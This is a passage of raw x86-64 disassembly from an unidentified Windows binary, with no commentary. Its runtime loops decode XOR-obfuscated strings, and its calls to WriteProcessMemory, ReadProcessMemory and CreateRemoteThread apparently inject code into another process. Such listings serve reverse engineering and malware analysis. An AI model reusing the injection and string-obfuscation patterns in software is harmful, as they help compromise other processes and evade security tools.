mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x10
jl 0x14022cf70
jmp 0x14022d195
lea r10, [rsp + 0x50]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x10
jl 0x14022d140
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
mov rax, qword [rbp - 0x48]
xor r8d, r8d
mov r9, qword [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14022d4c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x1402646b0]
mov r10d, eax
mov dword [rbp - 0x80], ecx
movzx ecx, byte [0x1402646b4]
mov byte [rbp - 0x7c], cl
movups xmm0, xmmword [0x140264698]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402646a8]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x14022d41e
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022d260
cmp eax, 0x1d
jge 0x14022d480
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1d
jl 0x14022d430
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x40]
jmp 0x14022bd21
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140264770]
mov r9d, ebx
mov dword [rbp - 0x70], eax
movzx eax, word [0x140264774]
mov word [rbp - 0x6c], ax
movups xmm0, xmmword [0x140264748]
movups xmm1, xmmword [0x140264758]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140264768]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x14022d721
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x14022d560
cmp r9d, 0x2e
jge 0x14022d785
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x2e
jl 0x14022d730
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, dword [rbp + 0x50]
cmp r10d, 0x103
jne 0x14022f943
mov rdx, qword [rbp - 0x48]
lea r8, [rbp + 0x10]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
mov rcx, r13
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rbp + 0x30]
cmp rdi, 0x404040
je 0x14022f691
cmp rdi, 0x505050
jne 0x14022dabf
mov eax, dword [0x140264860]
mov r9d, ebx
mov dword [rbp - 0x78], eax
movups xmm0, xmmword [0x140264840]
movups xmm1, xmmword [0x140264850]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x14022da51
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x14022d890
cmp r9d, 0x24
jge 0x14022dab5
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x24
jl 0x14022da60
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x14022d7a0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x14022ddaf
movzx eax, word [0x140264640]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140264642]
mov byte [rbp - 0x7e], al
movups xmm0, xmmword [0x140264628]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140264638]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x14022dd3e
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022db80
cmp eax, 0x1b
jge 0x14022dda0
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1b
jl 0x14022dd50
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
jmp 0x14022fbed
xor edx, edx
mov r8d, 0x1400000
mov rcx, rdi
call fcn.140235fa8
mov rdx, qword [rbp - 0x50]
mov r9d, 0x1000
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022e0af
cmp byte [0x1402648f5], bl
movups xmm0, xmmword [0x1402648d8]
mov eax, dword [0x1402648f0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1402648f4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], ax
movsd xmm0, qword [0x1402648e8]
movsd qword [rsp + 0x78], xmm0
je 0x14022e0a5
mov r9d, ebx
cmp esi, 2
jl 0x14022e041
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x14022de80
cmp r9d, 0x1e
jge 0x14022e0a5
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x1e
jl 0x14022e050
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rcx + 0x14]
lea rdi, [rcx + 0x18]
movzx ecx, word [rcx + 6]
add rdi, rax
test cx, cx
je 0x14022e7b2
movzx r9d, word [0x140264600]
mov ecx, ebx
mov r11d, dword [str.f8__3R]
movzx esi, byte [0x140264622]
movzx r10d, word [0x140264620]
nop
cmp dword [rdi + 8], ebx
je 0x14022e796
mov dword [rbp - 0x60], r11d
lea r8, [rbp - 0x60]
xor byte [rbp - 0x5f], 0x4a
movzx eax, r9b
xor byte [rbp - 0x5e], 0x4c
xor al, 0x50
xor byte [rbp - 0x5d], 0x4e
mov word [rbp - 0x5c], r9w
xor byte [rbp - 0x5b], 0x52
mov byte [rbp - 0x5c], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x60], 0x2e
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14022e143
inc rax
test ecx, ecx
jne 0x14022e130
test edx, edx
je 0x14022e1ab
mov eax, dword [str.f8___1T]
lea r8, [rbp - 0x58]
mov dword [rbp - 0x58], eax
movzx ecx, sil
xor byte [rbp - 0x57], 0x4a
movzx eax, r10b
xor byte [rbp - 0x56], 0x4c
xor al, 0x50
xor byte [rbp - 0x55], 0x4e
xor cl, 0x54
mov word [rbp - 0x54], r10w
xor byte [rbp - 0x53], 0x52
mov byte [rbp - 0x54], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x58], 0x2e
mov byte [rbp - 0x52], cl
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14022e1a3
inc rax
test ecx, ecx
jne 0x14022e190
